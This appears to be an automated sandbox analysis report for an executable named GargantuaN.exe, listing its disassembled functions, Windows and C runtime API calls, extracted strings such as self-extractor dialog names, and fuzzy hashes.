Opcode Fuzzy Hash: 13dcd67fe1cc59c523cf9d6fdcc5b218288a0c98c53ce973c68d42a6f9b68a17
Instruction Fuzzy Hash: E7F01272564600AFC621DB69F48AC1673E9EB14724768A81EF10CD7652EB70FC80CB75

Uniqueness

Uniqueness Score: -1.00%

Function 00D61FDD Relevance: 7.5, APIs: 5, Instructions: 39COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00D61FE5
_wcslen.LIBCMT ref: 00D61FF6
_wcslen.LIBCMT ref: 00D62006
_wcslen.LIBCMT ref: 00D62014
CompareStringW.KERNEL32(00000400,00001001,?,?,?,?,00000000,00000000,?,00D5B371,?,?,00000000,?,?,?), ref: 00D6202F

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: _wcslen$CompareString
String ID:
API String ID: 3397213944-0
Opcode ID: ab3806a107eb196b9c563d9e1722c10b5f8b193f03206b9e56a353c0849a1994
Instruction ID: 6ee291bb878294b50c5a71b3bedd59a3cb5db2419d4a9bc0e809a1b540e31f90
Opcode Fuzzy Hash: ab3806a107eb196b9c563d9e1722c10b5f8b193f03206b9e56a353c0849a1994
Instruction Fuzzy Hash: 9DF01732008114BFCF226F55EC09DDA7F26EB44B60B21C515FA1A9A061DB72D6A1EAB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D78900 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00D7891E

Part of subcall function 00D78DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00D7C896,?,00000000,?,00000000,?,00D7C8BD,?,00000007,?,?,00D7CCBA,?), ref: 00D78DE2
Part of subcall function 00D78DCC: GetLastError.KERNEL32(?,?,00D7C896,?,00000000,?,00000000,?,00D7C8BD,?,00000007,?,?,00D7CCBA,?,?), ref: 00D78DF4

_free.LIBCMT ref: 00D78930
_free.LIBCMT ref: 00D78943
_free.LIBCMT ref: 00D78954
_free.LIBCMT ref: 00D78965

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 8f222024c6d34f3bd054e67b48b0e164aa9b33414b1638a850669ddb0bb26917
Instruction ID: 99ec76420363fe86e10566c84bd0ab830111b3442852791a0757b028d406f7c4
Opcode Fuzzy Hash: 8f222024c6d34f3bd054e67b48b0e164aa9b33414b1638a850669ddb0bb26917
Instruction Fuzzy Hash: 3FF0D472860326DFCA66BF29FC064293BA1FB257243055706F518DA3B2EB314941AFB5

Uniqueness

Uniqueness Score: -1.00%

Function 00D615FE Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 197COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00D617BC
_swprintf.LIBCMT ref: 00D6186B

Strings

%ls, xrefs: 00D61641, 00D61657
%s: %s, xrefs: 00D617CB

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: d736bbc14d4583e2346545a0174e8be2138d78dfb228fa9350c420f2d9ed9bf5
Instruction ID: 68011e019ca6d31e45684d145c20a073f9fe3f9e4734b626522b02971bd8d71b
Opcode Fuzzy Hash: d736bbc14d4583e2346545a0174e8be2138d78dfb228fa9350c420f2d9ed9bf5
Instruction Fuzzy Hash: 6951193E288304FBEA252AD4CD46F357365EB05B05F2C4A06F7C6A54E1C9A2E510A77B

Uniqueness

Uniqueness Score: -1.00%

Function 00D77F6E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\GargantuaN.exe,00000104), ref: 00D77FAE
_free.LIBCMT ref: 00D78079
_free.LIBCMT ref: 00D78083

Strings

C:\Users\user\AppData\Local\Temp\GargantuaN.exe, xrefs: 00D77FA5, 00D77FAC, 00D77FDB, 00D78013

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\AppData\Local\Temp\GargantuaN.exe
API String ID: 2506810119-2795930919
Opcode ID: d6f2150cc8e4692ca60ad08d4d39023f2558741fde36304b068f4559e20440f0
Instruction ID: cfdd7d2a7166d28d6cf0df572402b46f0030b9154a5507e79133155655c8ee57
Opcode Fuzzy Hash: d6f2150cc8e4692ca60ad08d4d39023f2558741fde36304b068f4559e20440f0
Instruction Fuzzy Hash: 18319271A40218EFDB21DF99D889DAEBBBCEF85350F148166F908D7211EA708A44DB71

Uniqueness

Uniqueness Score: -1.00%

Function 00D731D6 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00D731FB
_abort.LIBCMT ref: 00D73306

Strings

RCC, xrefs: 00D73215
MOC, xrefs: 00D7320D

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: EncodePointer_abort
String ID: MOC$RCC
API String ID: 948111806-2084237596
Opcode ID: 012813ee82021872eb160098a04f013d540530d3f3ed753cc954ab8b06fe9a6d
Instruction ID: 65e064ed5eee9dc67f2f874af02fa42d4a4b7d59a4105c953be25b524906fb87
Opcode Fuzzy Hash: 012813ee82021872eb160098a04f013d540530d3f3ed753cc954ab8b06fe9a6d
Instruction Fuzzy Hash: F7414C71900209AFCF15DF98CD85AEEBBB6FF48304F188059F90867262E3359A50EB65

Uniqueness

Uniqueness Score: -1.00%

Function 00D57401 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 103COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D57406

Part of subcall function 00D53BBA: __EH_prolog.LIBCMT ref: 00D53BBF

GetLastError.KERNEL32(?,?,00000800,?,?,?,00000000,00000000), ref: 00D574CD

Part of subcall function 00D57A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00D57AAB
Part of subcall function 00D57A9C: GetLastError.KERNEL32 ref: 00D57AF1
Part of subcall function 00D57A9C: CloseHandle.KERNEL32(?), ref: 00D57B00

Strings

SeSecurityPrivilege, xrefs: 00D5744B
SeRestorePrivilege, xrefs: 00D57460

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: ErrorH_prologLast$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3813983858-639343689
Opcode ID: d01e8bcd6c262ab1d52e737e2ce24015e84ca946187c8ff2fd4489040168d609
Instruction ID: ba3d603c43f223ecf97ef2a998b635c763946af22a03aec2261c28d9caa41149
Opcode Fuzzy Hash: d01e8bcd6c262ab1d52e737e2ce24015e84ca946187c8ff2fd4489040168d609
Instruction Fuzzy Hash: 7E319071904259AAEF11EBA4EC45BEE7BB8EF05306F184016FC09E7282D7748A488B70

Uniqueness

Uniqueness Score: -1.00%

Function 00D6AD10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 00D51316: GetDlgItem.USER32(00000000,00003021), ref: 00D5135A
Part of subcall function 00D51316: SetWindowTextW.USER32(00000000,00D835F4), ref: 00D51370

EndDialog.USER32(?,00000001), ref: 00D6AD98
GetDlgItemTextW.USER32(?,00000066,?,?), ref: 00D6ADAD
SetDlgItemTextW.USER32(?,00000066,?), ref: 00D6ADC2

Strings

ASKNEXTVOL, xrefs: 00D6AD28

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: ed628be57f00e2ba953061581f01f718d5497d9844ddbe62b9acff2be6ed9d28
Instruction ID: 1e7bd5403cd227468ec74e4ffcd21698684e3c556683b780af830b550882b30c
Opcode Fuzzy Hash: ed628be57f00e2ba953061581f01f718d5497d9844ddbe62b9acff2be6ed9d28
Instruction Fuzzy Hash: C0118E32280300FFD6119F6CDC45FAA7BA9EF4A742F540510F681EB6A0D762D9159F36

Uniqueness

Uniqueness Score: -1.00%

Function 00D5D8EC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 00D5D954
_strncpy.LIBCMT ref: 00D5D99A

Part of subcall function 00D61DA7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,00D91030,00000200,00D5D928,00000000,?,00000050,00D91030), ref: 00D61DC4

Strings

@%s, xrefs: 00D5D93E
$%s, xrefs: 00D5D949

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: ByteCharMultiWide__fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 562999700-834177443
Opcode ID: 89fea8380262702f3b68c25cbc155ef1e016b85d3f47080beb48f8e3a2805106
Instruction ID: 399207c027173336bb980e26997ec049c8dc22c748268ca7733914a77f84e6dd
Opcode Fuzzy Hash: 89fea8380262702f3b68c25cbc155ef1e016b85d3f47080beb48f8e3a2805106
Instruction Fuzzy Hash: 44218C72440248AEDF30EEA4CC06FEE7BA9AF05701F084426FD55961A2E272D64CCF71

Uniqueness

Uniqueness Score: -1.00%

Function 00D60E46 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,00D5AC5A,00000008,?,00000000,?,00D5D22D,?,00000000), ref: 00D60E85
CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,00D5AC5A,00000008,?,00000000,?,00D5D22D,?,00000000), ref: 00D60E8F
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,00D5AC5A,00000008,?,00000000,?,00D5D22D,?,00000000), ref: 00D60E9F

Strings

Thread pool initialization failed., xrefs: 00D60EB7

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: 6bcd7137a04eb8c2b7a8bea38b1c5f60503eb34ce591990cc56ee358261403a7
Instruction ID: e26d5f34d5c16b255ff747300a058432ca4ed1fbde551c3e50e255bba627d27d
Opcode Fuzzy Hash: 6bcd7137a04eb8c2b7a8bea38b1c5f60503eb34ce591990cc56ee358261403a7
Instruction Fuzzy Hash: 8B1151B16407199FC3215F6A9C849A7FFECEB65744F14482EF5DAC3201D6B299418B70

Uniqueness

Uniqueness Score: -1.00%

Function 00D6B270 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 00D51316: GetDlgItem.USER32(00000000,00003021), ref: 00D5135A
Part of subcall function 00D51316: SetWindowTextW.USER32(00000000,00D835F4), ref: 00D51370

EndDialog.USER32(?,00000001), ref: 00D6B2BE
GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 00D6B2D6
SetDlgItemTextW.USER32(?,00000067,?), ref: 00D6B304

Strings

GETPASSWORD1, xrefs: 00D6B289

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1
API String ID: 445417207-3292211884
Opcode ID: 49375dbfad39df216be2636d08d096199865297a8f6ff530bdd6f17fe5b2b623
Instruction ID: 2007941f28f67c22e6a15bdfb0fbd2dcf76f7407f0669a8497008e8c50747176
Opcode Fuzzy Hash: 49375dbfad39df216be2636d08d096199865297a8f6ff530bdd6f17fe5b2b623
Instruction Fuzzy Hash: 0311E532A40214BBDB119A649C59FFE376CEF09720F040022FA85F6180C7A0D9849771

Uniqueness

Uniqueness Score: -1.00%

Function 00D6DCDD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

REPLACEFILEDLG, xrefs: 00D6DD1C, 00D6DD50
RENAMEDLG, xrefs: 00D6DD31

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 20f93dd174f6050e4beafa374017caec9456164ab17c68293a59aded8497feb0
Instruction ID: 16b0df9376b39068a6fd22bd0b1e836edeece8e346c2854e98a8b0efec73dbab
Opcode Fuzzy Hash: 20f93dd174f6050e4beafa374017caec9456164ab17c68293a59aded8497feb0
Instruction Fuzzy Hash: E9012176B04385EFD711AF95FC44A5A7BAAFB4A754B140426F946D3330C6319850EFB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D6DBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 00D6DBF4
SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00D6DC30

Strings

sfxcmd, xrefs: 00D6DBEF
sfxpar, xrefs: 00D6DC2B

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: 909cb976c9d7f328d04621c7131b5cec37eb81adb8dcfd5814b45ae69ae95f04
Instruction ID: 7634252913dc6a998f4142085231457157bbcaddd0a08cd0c2b34ca1c758ba9a
Opcode Fuzzy Hash: 909cb976c9d7f328d04621c7131b5cec37eb81adb8dcfd5814b45ae69ae95f04
Instruction Fuzzy Hash: 0DF0E5B2904328ABCB202F94AC0AFFB3B59EF08F82B090411FD89D6155E6B0C940D7F0

Uniqueness

Uniqueness Score: -1.00%

Function 00D79A1E Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00D79AA9
__alldvrm.LIBCMT ref: 00D79CAA
__alldvrm.LIBCMT ref: 00D79CCC

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 15e7b98f52cb345e5770fd34cbf54b95dbf5428e1727e1497290f0e3bad33655
Instruction ID: 9e8694fac771eabc8cb62abdf3ea31789bf71763edbddec4be63a13124d063e1
Opcode Fuzzy Hash: 15e7b98f52cb345e5770fd34cbf54b95dbf5428e1727e1497290f0e3bad33655
Instruction Fuzzy Hash: BDA128739047869FEB22CF28C8A17AEFBE5EF55310F18816DE58D9B281E2358941C770

Uniqueness

Uniqueness Score: -1.00%

Function 00D5A354 Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000800,?,00D57F69,?,?,?), ref: 00D5A3FA
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,?,00000800,?,00D57F69,?), ref: 00D5A43E
SetFileTime.KERNEL32(?,00000800,?,00000000,?,?,00000800,?,00D57F69,?,?,?,?,?,?,?), ref: 00D5A4BF
CloseHandle.KERNEL32(?,?,?,00000800,?,00D57F69,?,?,?,?,?,?,?,?,?,?), ref: 00D5A4C6

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 3b9d21631c9d271b551c86c99d455cb7c96d8c2b9ab8d554b5487ac715ea301f
Instruction ID: 60da8625b3da1158e79b03a1d4f955951d021b4e797119153ecb89fb1cea89b8
Opcode Fuzzy Hash: 3b9d21631c9d271b551c86c99d455cb7c96d8c2b9ab8d554b5487ac715ea301f
Instruction Fuzzy Hash: 2A41E1301483919BEB21DFA8DC45BAEBBE49B80705F080A19BDD5D7290D6A49A0C9B73

Uniqueness

Uniqueness Score: -1.00%

Function 00D51100 Relevance: 6.1, APIs: 4, Instructions: 119COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00D5112B
_wcslen.LIBCMT ref: 00D51153
_wcslen.LIBCMT ref: 00D51182
_wcslen.LIBCMT ref: 00D511A9

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: 7a414a45e5cc2c301085f6307c7558d90a78c41e13eb4950f7983b4bbac35cc9
Instruction ID: 1ba8084a4df059f338290daab463eff8ab579741012630292a68a7686f501f5f
Opcode Fuzzy Hash: 7a414a45e5cc2c301085f6307c7558d90a78c41e13eb4950f7983b4bbac35cc9
Instruction Fuzzy Hash: 7341D8759006699BCB25AF68CC46ADF7BB8EF01311F044119FD46F7241DB70AE498BB4

Uniqueness

Uniqueness Score: -1.00%

Function 00D7C988 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00D791E0,?,00000000,?,00000001,?,?,00000001,00D791E0,?), ref: 00D7C9D5
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00D7CA5E
GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00D76CBE,?), ref: 00D7CA70
__freea.LIBCMT ref: 00D7CA79

Part of subcall function 00D78E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00D7CA2C,00000000,?,00D76CBE,?,00000008,?,00D791E0,?,?,?), ref: 00D78E38

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
